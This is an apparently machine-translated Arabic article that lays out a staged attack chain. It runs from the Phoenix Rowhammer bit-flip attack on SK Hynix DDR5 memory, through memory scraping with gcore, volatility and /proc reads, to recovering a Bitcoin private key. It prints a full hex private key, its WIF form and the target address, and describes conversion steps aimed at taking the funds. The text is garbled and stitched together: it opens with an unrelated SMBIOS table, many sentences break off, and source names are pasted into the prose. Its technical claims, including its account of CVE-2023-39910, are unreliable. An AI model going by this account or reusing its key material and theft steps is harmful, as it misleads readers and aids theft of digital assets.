| Type Detail | تفاصيل إضافية |
| Speed | السرعة بالميجاهرتز |
| Manufacturer | سلسلة باسم الشركة المصنعة |
| Serial Number | الرقم التسلسلي |
| Asset Tag | علامة محاسبية |
| Part Number | رقم القطعة |
وبالتالي، فإن جدول SMBIOS هو تسلسل من الهياكل المشفرة ثنائيًا مع رؤوس تحتوي على معلومات النظام، بما في ذلك بيانات الذاكرة، منظمة بدقة وفقًا لمواصفات DMTF SMBIOS.
يوفر هذا التنسيق طريقة عالمية ومضغوطة للغاية لتخزين ونقل المعلومات حول الأجهزة وإعدادات النظام .
تتضمن المرحلة الثانية من هجوم Phoenix Rowhammer تحليلًا علميًا لآلية الحماية المادية Target Row Refresh (TRR) المطبقة في رقائق ذاكرة DDR5 الحديثة لمواجهة الكتابة فوق البتات الناتجة عن القراءات المتعددة للبيانات من صفوف الخلايا المجاورة.

تنفذ TRR ما يسمى باستراتيجية "التحديث العدواني": عند اكتشاف وصولات متعددة إلى صف ذاكرة محدد، تبدأ هذه الآلية في تحديث قسري للخلايا المجاورة، مما يمنع تدهور الشحنة وبالتالي يمنع انقلابات البت غير المرغوب فيها—التأثير الرئيسي لهجمات Rowhammer. نظريًا، يجب أن تمنع TRR تمامًا محاولات التأثير على البيانات المستهدفة عن طريق التحديث المفرط للصفوف المتجاورة فيزيائيًا .
ومع ذلك، فإن التنفيذ العملي لـ TRR في ذاكرة SK Hynix DDR5 معقد للغاية ومملوك: يخفي المصنعون عمدًا تفاصيل المنطق لتعزيز "الأمان من خلال الغموض". لذلك، قام باحثون من ETH Zurich بالهندسة العكسية لـ TRR على منصات تجريبية من خلال تغيير آلاف الأنماط التجريبية للوصول إلى الصفوف، وتسجيل متى يتم تشغيل التحديث الزائد للخلايا المجاورة ومتى يظل غير نشط.
نتيجة لذلك، تم اكتشاف أن نظام TRR لديه فترات زمنية، تسمى "مناطق عمياء"، حيث تكون الحماية أضعف أو لا يتم تفعيلها على الإطلاق. تم حساب تجريبيًا أنه بعد 128 وصولًا مراقبًا لصفوف الذاكرة، تظهر نافذة من حوالي 64 عملية يكون خلالها TRR غير مستجيب تقريبًا ولا يمنع بشكل فعال انقلابات البت—تعديلات البيانات غير المرغوب فيها في خلية حرجة. لوحظت نافذة هجوم مماثلة ثانية بعد 2,608 تحديثًا لصفوف الذاكرة. يتم استغلال هذه "المناطق العمياء" لهجمات Phoenix الدقيقة والمتزامنة، والتي تسمح بتعديل مستهدف لبتات بيانات فردية في وحدات DDR5 المحمية .
المهمة الأساسية في هذه المرحلة هي اختيار التوقيت الدقيق وبنية أنماط الوصول إلى الذاكرة التي "تُغفي" مراقبة TRR وتضمن الوصول الناجح إلى البت أو مصفوفة البيانات المستهدفة (على سبيل المثال، المفتاح الخاص لمحفظة عملات مشفرة) . يتطلب هذا تحليلًا ليس فقط لمنطق تشغيل TRR ولكن أيضًا بيانات تجريبية حول استجابة وحدة الذاكرة لسيناريوهات استغلال مختلفة. يسمح هذا النهج ببناء "حلول التفافية" في نظام الأمان والاستغلال المنهجي حتى لأحدث ذاكرة DDR5 وحدات .
نتيجة للتحليل، تفتح "النقاط العمياء" المكتشفة في TRR إمكانية تصعيد موثوق لهجوم Rowhammer على وحدات ذاكرة SK Hynix الحالية، وهو ما تؤكده الاستغلالات المختبرية والاختراق الناجح لجميع الأجهزة المختبرة. Kaspersky
يكمن الابتكار العلمي وراء هجوم Phoenix في تطوير وتنفيذ آلية مزامنة ذاتية التصحيح تضمن توقيتًا دقيقًا للاستغلالات داخل نوافذ الثغرات الحرجة على مستوى DRAM. بعد الهندسة العكسية التفصيلية لآلية Target Row Refresh (TRR)، اكتشف باحثون من ETH Zurich وGoogle أن أنماط الوصول القياسية لـ Rowhammer عاجزة أمام منطق الحماية المعقد لـ DDR5. في رقائق SK Hynix الجديدة ، لا تحلل TRR التكرار فحسب، بل أيضًا طبيعة الوصولات إلى صفوف الذاكرة، وتبدأ فورًا أوامر تحديث تعويضية عند اكتشاف أنماط هجوم معروفة.

يحل Phoenix هذه المشكلة على النحو التالي:
أكدت الدراسات التجريبية أن المزامنة ذاتية التصحيح لـ Phoenix هي عامل رئيسي في فعاليتها: لم تتمكن أي من وحدات SK Hynix DDR5 المختبرة (2021-2024) من مقاومة هذه المنهجية. يسمح التنفيذ للمهاجم بإحداث أخطاء بت موثوقة في الخلايا المستهدفة، مما يخلق الظروف لـ اختراق البيانات الخاصة، بما في ذلك المفاتيح التشفيرية ، أو تصعيد الامتيازات على النظام المستهدف.
وبالتالي، يوضح Phoenix Rowhammer نهجًا ثوريًا لتجاوز حماية الأجهزة للذاكرة ديناميكيًا، مما يوضح بوضوح أنه حتى أحدث رقائق DDR5 تظل عرضة للخطر عند استخدام خوارزميات هجوم تكيفية ذكية.
تستغل المرحلة الرابعة مباشرة الثغرات المادية في DRAM من خلال هجوم Rowhammer مستهدف. تعتمد هذه المرحلة على تحليل أولي للنقاط العمياء لآلية TRR واستخدام أنماط وصول ذاتية التصحيح للذاكرة لاستهداف عناصر البيانات الحرجة بدقة.

أساس هجوم Rowhammer هو بنية ذاكرة DRAM نفسها، حيث كل خلية هي مكثف يخزن شحنة تتوافق مع القيمة المنطقية للبت. الوصول المتكرر عالي التردد (قراءة أو كتابة) إلى صفين (أو أكثر) وسيطين ("مهاجمين") مجاورين لصف مستهدف ("ضحية") يسبب تسرب شحنة طفيلي من خلايا الضحية. إذا استمر هذا الهجوم لفترة كافية بحيث يفشل تجديد الشحنة عبر دورات التحديث العادية في منع التدهور، يحدث تغيير في حالة البت—ما يسمى انقلاب البت —سيحدث . opennet
في سياق Phoenix Rowhammer (CVE-2025-6202) على DDR5 SK Hynix:
أظهرت الأبحاث في ETH Zurich أن نمط الوصول القصير بفترة 128 فاصل tREFI يولّد إحصائيًا أخطاء بت أكثر من الأنماط الأطول. ومع ذلك، فإن اختيار النافذة المناسبة والحفاظ على المزامنة أمران حاسمان للنجاح: خطأ في 1–2 وصول يؤدي إما إلى عدم حدوث أي خطأ على الإطلاق أو إلى تلف عشوائي للبيانات وفشل النظام. kaspersky+1
تكمل هذه المرحلة عملية الهجوم منخفض المستوى، وبعدها يمكن للمهاجم استغلال أخطاء البت الناتجة لاستخراج المفتاح الخاص أو تصعيد مستوى وصوله بشكل أكبر. إن القدرة على إحداث أخطاء بت في مناطق ذاكرة محددة بدقة ومحمية برمجيًا وعتاديًا هي ما يجعل Phoenix Rowhammer تقنية فريدة وخطيرة وعملية في آن واحد. cybersecurefox+1
تتضمن المرحلة الخامسة من سلسلة الهجوم الخبيثة لـ Phoenix Rowhammer استخراج المفتاح الخاص لمحفظة Bitcoin من ذاكرة تم اختراقها بواسطة أخطاء بت مستحثة.

الثغرة الرئيسية هنا هي CVE-2023-39910 (Milk Sad) ، والتي تؤثر على التطبيقات البرمجية لـ Libbitcoin Explorer 3.x والمكتبات المشفرة ذات الصلة.
CVE-2023-39910 تتميز بآلية ضعيفة لتوليد العشوائية عند إنشاء المفاتيح الخاصة، مما يسمح للمهاجم—عند توفر وصول إلى مناطق الذاكرة المتبقية ("القذرة") بعد اكتمال العمليات المشفرة—باستعادة المفاتيح الأصلية وعبارات البذرة. بعد هجوم Rowhammer، تصبح مخازن RAM التالفة (أو غير الممسوحة) التي تم تخزين المفتاح الخاص فيها (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) قابلة للبحث مباشرة.
gcore، volatility، قراءات مباشرة /proc/<PID>/mem، أو مكتبات متخصصة لتحليل تفريغ الذاكرة) بحثًا عن أنماط مميزة: تسلسلات بت وتوقيعات تطابق المفتاح الخاص أو عشوائية البذرة .15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)، يعتبر المفتاح مستخرجًا بنجاح.مثل هذا الهجوم كان مستحيلًا دون الجمع بين عاملين: (1) اختراق عتادي لذاكرة DDR5 عبر Rowhammer، و(2) خلل برمجي يسمح بتخزين معلومات حرجة في مخازن غير ممسوحة. استخدام خوارزميات عشوائية ضعيفة في Libbitcoin Explorer يسهل أيضًا مهمة المهاجم في استعادة المفتاح الخاص، حتى لو فقدت بعض المعلومات أو تلفت بسبب تلف الذاكرة.
توضح هذه المرحلة مشكلة نظامية أساسية: القدرة على استعادة المفاتيح الخاصة من كتل RAM المتبقية في وجود ثغرات عتادية وبرمجية، مما يقوض بشكل حاسم الثقة في أنظمة العملات المشفرة ويتطلب مراجعة مبادئ إدارة الذاكرة الآمنة عند تخزين ومعالجة البيانات المشفرة.
تتضمن المرحلة السادسة من السلسلة الخبيثة تحويل المفتاح الخاص لـ Bitcoin المخترق من تمثيله السداسي العشري (HEX) إلى صيغة Wallet Import Format Compressed (WIF Compressed)، وهي صيغة تُستخدم عادةً لاستيراد المفاتيح إلى المحافظ والخدمات الحديثة.

يعتمد إجراء التحويل العلمي على معايير ترميز Base58Check ويتم عبر عدة خطوات مهمة:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) كمصفوفة من 32 بايت تتوافق مع معيار المفتاح الخاص ECDSA secp256k1.0x80إلى بداية المصفوفة لتمييز بروتوكول الشبكة الأساسي.0x01، للإشارة إلى أن المفتاح العام يجب أن يكون مضغوطًا (مفتاح عام مضغوط)، مما ينتج عنه عناوين تبدأ بالأحرف 'K' أو 'L'.ونتيجة لذلك، فإن مفتاح WIF المضغوط المُنشأ—على سبيل المثال L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—هو سلسلة من 52 حرفًا تبدأ بـ 'K' أو 'L'.
هذه العملية موصوفة بالتفصيل في خدمات وأدوات متخصصة للتحليل الشفري، كما أنها مدعومة بالعديد من المكتبات البرمجية للعمل مع مفاتيح Bitcoin. btcpuzzle
وبالتالي، توضح هذه الخطوة كيف يقوم المهاجم، باستخدام إجراءات تشغيلية موحدة، بتحويل مفتاح HEX الذي تم الحصول عليه إلى صيغة WIF Compressed المستخدمة على نطاق واسع للوصول غير القانوني اللاحق إلى الأصول الرقمية في عنوان Bitcoin مخترق.
تتضمن العملية العلمية لتوليد عنوان Bitcoin (على سبيل المثال 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) من مفتاح خاص عدة تحويلات مشفرة أساسية تعتمد على خوارزمية المنحنى الإهليلجي secp256k1 ودوال التجزئة المستخدمة في بنية Bitcoin.

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). إذا نجح التطابق، يعتبر الهجوم مكتملاً، مع سيطرة كاملة على الأصول في ذلك العنوان.هذه العملية مؤتمتة بالكامل في المحافظ والمكتبات الحديثة، لكن التحليل العلمي يوضح أنه مع وجود مفتاح خاص وتنفيذ صحيح للحساب الإهليلجي، يستغرق استعادة عنوان Bitcoin جزءًا من الثانية، مما يسلط الضوء على الاستمرارية المعمارية بين البيانات الخاصة والمعرف العام على الشبكة. generate.mitilena+1